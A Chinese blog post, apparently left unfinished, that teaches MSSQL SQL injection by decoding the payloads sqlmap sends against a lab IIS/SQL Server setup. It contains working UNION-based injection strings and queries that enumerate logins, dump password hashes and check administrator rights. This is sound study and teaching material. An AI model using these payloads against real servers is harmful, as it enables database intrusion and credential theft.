通过sqlmap学习mssql注入(不写了)

  1. mysql和mssql注入
  2. 判断注入类型
  3. 判断基本信息
    1. 基本信息查询
    2. xp_shell
  4. 参考链接

实验环境:
windows 2008 + sql server 2008 + IIS7.5

mysql和mssql注入

之前写过一篇聊一聊 SQLMAP 在进行 sql 注入时的整个流程,文中主要介绍了mysql环境下sqlmap注入的整体流程。对于mssql的注入,sqlmap其实也是换汤不换药,整体流程我会在接下来的文章中一一道出。

判断注入类型

sqlmap判断依然是按照下面几个点来进行的:

1
2
3
4
5
6
7
--technique=TECH..  SQL injection techniques to use (default "BEUSTQ")
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
Q: inline_query SQL injection(内联注入)

我将注入点扔进sqlmap,判断出的注入类型:

判断基本信息

为了方便查看sql语句,这里用burp suite设置代理抓包,sqlmap中添加参数:

1
--proxy='http://127.0.0.1:8080'

基本信息查询

首先我们来看下当前的用户

判断出来用户为sa,我这里将payload解码

1
id=1 UNION ALL SELECT NULL,CHAR(113)+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(113)+ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(122)+CHAR(113),NULL-- mJCg

这里可以看出sqlmap利用了联合查询注入的方式,我们将他分解开来

1
2
3
4
#首先可以看出sqlmap是判断出列的数量为3
id=1 UNION ALL SELECT NULL,NULL,NULL--
#然后将第二个NULL的值替换成
CHAR(113)+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(113)+ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(122)+CHAR(113)

我们再次分解这个NULL的值


关键能查出信息的还是ISNULL这句话


所以这里首先是将 SYSTEM_USER 转换成了char类型,这个时候ISNULL中的两个value都是char,然后就会返回第一个的值,也就是我们的SYSTEM_USER

1
id=1 UNION ALL SELECT NULL,CHAR(113)+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(113)+ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(122)+CHAR(113),NULL-- zZox

同理sqlmap还可以查询(替换SYSTEM_USER)

1
2
DB_NAME()	//当前数据库
@@SERVERNAME //主机名

(这里抛出一个问题让大家思考,sqlmap注入中一长串char字符是用来干什么的)

由于篇幅原因,这里贴出sqlmap检测中一些语句

1
2
3
select name FROM sys.sql_logins	//查询所有用户
select master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_logins //查询所有的密码
select IS_SRVROLEMEMBER(xxxx) //判断是否为dba权限

xp_shell

参考链接

启动/关闭xp_cmdshell:https://www.cnblogs.com/songsz1/archive/2012/12/26/2833856.html

《Windows server 2008 r2》配置IIS7+asp.net:https://blog.csdn.net/liang_operations/article/details/89980023

SQL Server xtype的介绍:https://www.2cto.com/database/201307/230722.html

MSSQL注入提权的一些方法:https://www.cnblogs.com/FayJack/archive/2013/05/13/3075697.html


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:通过sqlmap学习mssql注入(不写了)

本文作者:sher10ck

发布时间:2019-11-10, 15:21:52

最后更新:2020-01-13, 12:49:15

原始链接:http://sherlocz.github.io/2019/11/10/如何通过sqlmap学习mssql注入/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录